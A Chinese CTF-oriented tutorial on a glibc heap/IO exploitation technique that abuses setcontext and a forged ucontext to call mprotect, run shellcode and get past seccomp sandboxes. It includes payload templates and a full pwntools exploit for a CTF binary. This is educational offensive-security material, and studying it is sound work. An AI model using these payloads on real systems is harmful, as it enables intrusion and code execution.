查看原文
其他

无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

我超啊 看雪学苑 2023-04-07


本文为看雪论坛精华文章

看雪论坛作者ID:我超啊


沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。





setcontext+53之殇


setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp。


以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx。

int_IO_switch_to_wget_mode (FILE *fp){ // 编译器在处理这一段时使用 rdx if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ......}


► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]


因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?





ucontext函数族分析


1.函数族


研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。

int getcontext(ucontext_t *ucp);int setcontext(const ucontext_t *ucp)void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);

  1. getcontext用来获取用户上下文,


  2. setcontext用来设置用户上下文
  3. makecontext操作用户上下文,可以设置执行函数,本质调用`setcontext``
  4. swapcontext进行两个上下文的交换
显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。


2.setcontext


以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
ENTRY(__setcontext) /* Save argument since syscall will destroy it. */ pushq %rdi cfi_adjust_cfa_offset(8) /* Set the signal mask with rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8). */ leaq oSIGMASK(%rdi), %rsi xorl %edx, %edx movl $SIG_SETMASK, %edi movl $_NSIG8,%r10d movl $__NR_rt_sigprocmask, %eax syscall /* Pop the pointer into RDX. The choice is arbitrary, but leaving RDI and RSI available for use later can avoid shuffling values. */ popq %rdx # 这是就是 rdi 向 rdx转换的关键。 cfi_adjust_cfa_offset(-8) cmpq $-4095, %rax /* Check %rax for error. */ jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */ /* Restore the floating-point context. Not the registers, only the rest. */ movq oFPREGS(%rdx), %rcx fldenv (%rcx) ldmxcsr oMXCSR(%rdx) /* Load the new stack pointer, the preserved registers and registers used for passing args. */ cfi_def_cfa(%rdx, 0) cfi_offset(%rbx,oRBX) cfi_offset(%rbp,oRBP) cfi_offset(%r12,oR12) cfi_offset(%r13,oR13) cfi_offset(%r14,oR14) cfi_offset(%r15,oR15) cfi_offset(%rsp,oRSP) cfi_offset(%rip,oRIP) /* 这里往下就是 setcontext+61 的地方*/ movq oRSP(%rdx), %rsp movq oRBX(%rdx), %rbx movq oRBP(%rdx), %rbp movq oR12(%rdx), %r12 movq oR13(%rdx), %r13 movq oR14(%rdx), %r14 movq oR15(%rdx), %r15 #if SHSTK_ENABLED /* Check if shadow stack is enabled. */ testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET jz L(no_shstk) /* If the base of the target shadow stack is the same as the base of the current shadow stack, we unwind the shadow stack. Otherwise it is a stack switch and we look for a restore token. */ movq oSSP(%rdx), %rsi movq %rsi, %rdi /* Get the base of the target shadow stack. */ movq (oSSP + 8)(%rdx), %rcx cmpq %fs:SSP_BASE_OFFSET, %rcx je L(unwind_shadow_stack) L(find_restore_token_loop): /* Look for a restore token. */ movq -8(%rsi), %rax andq $-8, %rax cmpq %rsi, %rax je L(restore_shadow_stack) /* Try the next slot. */ subq $8, %rsi jmp L(find_restore_token_loop) L(restore_shadow_stack): /* Pop return address from the shadow stack since setcontext will not return. */ movq $1, %rax incsspq %rax /* Use the restore stoken to restore the target shadow stack. */ rstorssp -8(%rsi) /* Save the restore token on the old shadow stack. NB: This restore token may be checked by setcontext or swapcontext later. */ saveprevssp /* Record the new shadow stack base that was switched to. */ movq (oSSP + 8)(%rdx), %rax movq %rax, %fs:SSP_BASE_OFFSET L(unwind_shadow_stack): rdsspq %rcx subq %rdi, %rcx je L(skip_unwind_shadow_stack) negq %rcx shrq $3, %rcx movl $255, %esiL(loop): cmpq %rsi, %rcx cmovb %rcx, %rsi incsspq %rsi subq %rsi, %rcx ja L(loop) L(skip_unwind_shadow_stack): movq oRSI(%rdx), %rsi movq oRDI(%rdx), %rdi movq oRCX(%rdx), %rcx movq oR8(%rdx), %r8 movq oR9(%rdx), %r9 /* Get the return address set with getcontext. */ movq oRIP(%rdx), %r10 /* Setup finally %rdx. */ movq oRDX(%rdx), %rdx /* Check if return address is valid for the case when setcontext is invoked from __start_context with linked context. */ rdsspq %rax cmpq (%rax), %r10 /* Clear RAX to indicate success. NB: Don't use xorl to keep EFLAGS for jne. */ movl $0, %eax jne L(jmp) /* Return to the new context if return address valid. */ pushq %r10 ret L(jmp): /* Jump to the new context directly. */ jmp *%r10 L(no_shstk):#endif /* The following ret should return to the address set with getcontext. Therefore push the address on the stack. */ movq oRIP(%rdx), %rcx pushq %rcx movq oRSI(%rdx), %rsi movq oRDI(%rdx), %rdi movq oRCX(%rdx), %rcx movq oR8(%rdx), %r8 movq oR9(%rdx), %r9 /* Setup finally %rdx. */ movq oRDX(%rdx), %rdx /* End FDE here, we fall into another context. */ cfi_endproc cfi_startproc /* Clear rax to indicate success. */ xorl %eax, %eax retPSEUDO_END(__setcontext) weak_alias (__setcontext, setcontext)





ucontext结构体


从ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontext的rdi。这个结构体如下。
typedef struct ucontext_t { unsigned long int __ctx(uc_flags); // 1个字长 struct ucontext_t *uc_link;//1个字长 stack_t uc_stack; //3个字长 mcontext_t uc_mcontext; //操作部分1 sigset_t uc_sigmask; //操作部分2 struct _libc_fpstate __fpregs_mem; //操作部分3 __extension__ unsigned long long int __ssp[4];//操作部分4 } ucontext_t;

在setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。


1.uc_sigmask


这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。


2.uc_mcontext


这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下。
typedef struct { gregset_t __ctx(gregs); /* Note that fpregs is a pointer. */ fpregset_t __ctx(fpregs); __extension__ unsigned long long __reserved1 [8];} mcontext_t;

typedef greg_t gregset_t[__NGREG]; #ifdef __USE_GNU/* Number of each register in the `gregset_t' array. */enum{ REG_R8 = 0,# define REG_R8 REG_R8 REG_R9,# define REG_R9 REG_R9 REG_R10,# define REG_R10 REG_R10 REG_R11,# define REG_R11 REG_R11 REG_R12,# define REG_R12 REG_R12 REG_R13,# define REG_R13 REG_R13 REG_R14,# define REG_R14 REG_R14 REG_R15,# define REG_R15 REG_R15 REG_RDI,# define REG_RDI REG_RDI REG_RSI,# define REG_RSI REG_RSI REG_RBP,# define REG_RBP REG_RBP REG_RBX,# define REG_RBX REG_RBX REG_RDX,# define REG_RDX REG_RDX REG_RAX,# define REG_RAX REG_RAX REG_RCX,# define REG_RCX REG_RCX REG_RSP,# define REG_RSP REG_RSP REG_RIP,# define REG_RIP REG_RIP REG_EFL,# define REG_EFL REG_EFL REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */# define REG_CSGSFS REG_CSGSFS REG_ERR,# define REG_ERR REG_ERR REG_TRAPNO,# define REG_TRAPNO REG_TRAPNO REG_OLDMASK,# define REG_OLDMASK REG_OLDMASK REG_CR2# define REG_CR2 REG_CR2};#endif

有关数据设置和传统利用setcontext+53时一样即可。


3.__fpregs_mem


这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0。
/* Restore the floating-point context. Not the registers, only the rest. */ movq oFPREGS(%rdx), %rcx fldenv (%rcx)


4.__ssp


这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0。
ldmxcsr oMXCSR(%rdx)





一骑当千


喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。
ucontext =b''ucontext += p64(0)*5mprotect_len = 0x20000__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0 # 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址padding = fake_io_filepayload_start_addr = fake_io_addr# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = payload_start_addr + 0x2e8 + 0x10__rip = mprotect_addrucontext += p64(0)*8ucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00')ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写print("ucontext len is:",hex(len(ucontext))) # 0xe8 '''ucontext = ucontext.ljust(0x128,b'\x00') # 加载信号量 ,好像全是0也行 ,0x10个字长ucontext += p64(0)*0x10# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0) ucontext =ucontext.ljust(0x1c0,b'\x00') # ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行''' # payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始payload = padding + ucontext # 0x2e8 与 __rsp相呼应print("IO_FILE len is",hex(len(payload))) # 自己写 shellcodeshellcode = """ """ # largbin_attak 时需要 + 0x10payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) payload += bytes(asm(shellcode))





举个栗子


我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
struct heap_manager{ void * do_func; heap_content * content; }struct heap_content{ char content[size];}

题目存在UAF,并且只能malloc5次。题目的唯一难度是是在显示程序上,他使用如下操作:
print_note(heap_manager * heap_manager_1);

也就是说即使能够简单执行system(heap),由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")。
那么此时我们的攻击思路是:

① 调用gets(heap),在heap处写入ucontext,同时在heap开头的函数处写入setcontext函数地址。

② 调用setcontext(heap)就可以直接执行想执行的内容。


需要说明的是由于题目没有seccomp,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下:
from pwn import *import pwn_scriptfrom sys import argvimport argparse s = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, '\0'))uu64 = lambda data: u64(data.ljust(8, '\0'))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr)) menu_last_str = 'Your choice :'add_heap_str = '1'delete_heap_str = '2'show_heap_str = '3' def add_heap(size,content): ru(menu_last_str) sl(add_heap_str) ru('Note size :') s(str(size)) ru('Content :') s(content) def show_heap(index): ru(menu_last_str) sl(show_heap_str) ru('Index :') sl(str(index)) def delete_heap(index): ru(menu_last_str) sl(delete_heap_str) ru('Index :') sl(str(index)) def exit_pro(): ru(menu_last_str) sl('5') if __name__ == '__main__': pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './pmlnote_mc' ip_port = '111.200.241.244:61080' __ip = ip_port.split(":")[0] __port = ip_port.split(":")[1] io = process(pwnfile) # io = remote(__ip, __port) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile libcfile='/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libcfile) ''' struct heap_manager{ void * do_func; heap_content * content; } struct heap_content{ char content[size]; } ''' system_addr = 0x4006D0 print_note_content = 0x400870 print_note = 0x407700 puts_addr =0x4006C0 heap_list = 0x6116c0 system_got = 0x611030 stdout = 0x611680 printf_sym =elf.sym["printf"] init = 0x409AC0 add_heap(0x500,b"a"*0x10+b"/bin/sh\x00") add_heap(0x500,"b"*0x10) delete_heap(0) delete_heap(1) add_heap(0x10,p64(print_note_content)+p64(stdout)) show_heap(0) stdout_addr = u64(ru("\n").ljust(8,b"\x00")) libc_base_addr = stdout_addr - 0x21a780 print("libc_base_addr is :",hex(libc_base_addr)) setcontext_addr = libc_base_addr + libc.sym["setcontext"] environ_addr = libc_base_addr +libc.sym["environ"] gets_addr = libc_base_addr +libc.sym["gets"] free_hook_addr = libc_base_addr +libc.sym["__free_hook"] unsortbin_addr = libc_base_addr + 0x219ce0 mprotect_addr = libc_base_addr +libc.sym["mprotect"] delete_heap(2) add_heap(0x10,p64(print_note_content)+p64(heap_list)) show_heap(0) heap_addr = u64(ru("\n").ljust(8,b"\x00")) - 0x2a0 print("heap_addr is :",hex(heap_addr)) delete_heap(3) add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200)) show_heap(0) ucontext =b'' ucontext += p64(setcontext_addr)+p64(0)*4 mprotect_len = 0x20000 __rdi = heap_addr # heap_addr binsh_addr __rsi = mprotect_len __rbp = heap_addr + mprotect_len __rbx = 0 __rdx = 7 __rcx = 0 __rax = 0 fake_io_addr = heap_addr + 0x2a0 # 0x2e8 下面的 print("IO_FILE len is",hex(len(payload))) # largbin_attak 时需要 + 0x10 __rsp = fake_io_addr + 0xe8 __rip = mprotect_addr ucontext += p64(0)*8 ucontext += p64(__rdi) ucontext += p64(__rsi) ucontext += p64(__rbp) ucontext += p64(__rbx) ucontext += p64(__rdx) ucontext += p64(__rcx) ucontext += p64(__rax) ucontext += p64(__rsp) ucontext += p64(__rip) ucontext = ucontext.ljust(0xe0,b'\x00') ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写 print("ucontext len is:",hex(len(ucontext))) # 0xe8 payload = ucontext print("IO_FILE len is",hex(len(payload))) # 0x2e8 与 __rsp相呼应 shellcode = asm(shellcraft.sh()) payload += p64(fake_io_addr + len(payload) + 0x8) # largbin_attak 时需要 + 0x10 payload += bytes(shellcode) pause() sl(payload) show_heap(0) itr()





连环战船


这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。





攻击方法完全体


就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。


1.houseof琴瑟琵琶 完全体

fake_io_addr = heap_addr + 0x1390obstack_ptr = fake_io_addr + 0x30fake_io_file = b''fake_io_file = fake_io_file.ljust(0x58,b'\x00')fake_io_file += p64(setcontext_addr) # 需要执行的函数fake_io_file += p64(0)fake_io_file += p64(fake_io_addr+0xe8) # 执行函数的 rdifake_io_file += p64(1) # obstack->use_extra_arg=1fake_io_file += p64(heap_addr+0x2000) # _IO_lock_t *_lock;fake_io_file = fake_io_file.ljust(0xc8,b'\x00')fake_io_file += p64(IO_obstack_jumps_addr + 0x20) # 触发 _IO_obstack_xsputn;fake_io_file += p64(obstack_ptr) # struct obstack *obstackprint(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10# pause() # 执行函数的 rdi 的地址所存储的内容ucontext = b''ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长# 0x1c8 对应第256行的 print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x1c0 + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00') ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写 payload = fake_io_file + ucontext print("payload len is",hex(len(payload))) # 0x1c0 与__rsp相呼应# pause()shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 +0x10payload = payload + bytes(shellcode)


2.houseof魑魅魍魉 完全体

# largebin_attack 攻击 house_魑魅魍魉# 模拟只有一次写入,payload 必须在前面写入# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式 fake_io_addr = heap_addr + 0x1390put_stream_offset = 0x30 # put_stream 距离 fake_io 的偏移put_stream_addr = fake_io_addr + put_stream_offsetwrite_target_addr = memcpy_addrtarget_value_offset = 0x200 # 需要执行的函数存储的地址距离 fake_io 的偏移target_value_addr = fake_io_addr + target_value_offset IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符# 再一次执行到 memcpy时rdi的地址rdi_offset = 0xf # 因为 _IO_write_ptr 会加1,此处确保内存对齐rdi_ucontext_addr = target_value_addr + rdi_offset# more_len > count_len > 0x20 可以再次执行 memcpymore_len = 0x80*8 # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??count_len= 0x28 # 要大于0x20_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr; fake_io_file = b""fake_io_file = fake_io_file.ljust(0x20,b'\x00')fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;fake_io_file += p64(rdi_ucontext_addr)fake_io_file += p64(0)*2fake_io_file += p64(write_target_addr - 0x20)fake_io_file += p64(write_target_addr)fake_io_file += p64(write_target_addr + count_len)fake_io_file += p64(0)# 用于绕过 if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行mallocfake_io_file += p64((1<<64)-1)fake_io_file += p64(0)*2fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)*2fake_io_file += p64(IO_wide_data_addr)fake_io_file = fake_io_file.ljust(0xc8,b'\x00')fake_io_file += p64(IO_help_jump_0_addr)fake_io_file += p64(0)fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)fake_io_file += p64(target_value_addr)fake_io_file += p64(target_value_addr + more_len)fake_io_file += p64(IO_str_jumps_addr)fake_io_file = fake_io_file.ljust(0x1b8,b'\x00')fake_io_file += p64(put_stream_addr)fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"\x00") # largbin_attak 时需要 - 0x10 # 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offsetfake_io_file += p64(setcontext_addr) + p64(0) # 此段长度为 0x10 与 rdi_offset 对应 ucontext =b""ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长# 0x2e8 下面的 print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x2e8 + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00') ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写 payload = fake_io_file + ucontext print("payload len is",hex(len(payload))) # 0x2e8 与__rsp相呼应shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 + 0x10 payload += bytes(shellcode)


3.其他


同理,其他IO板子绝大部分都能够与house_of_一骑当千配合使用,一通百通,就不再赘述。




看雪ID:我超啊

https://bbs.kanxue.com/user-home-894406.htm

*本文由看雪论坛 我超啊 原创,转载请注明来自看雪社区


# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们



球分享

球点赞

球在看


点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存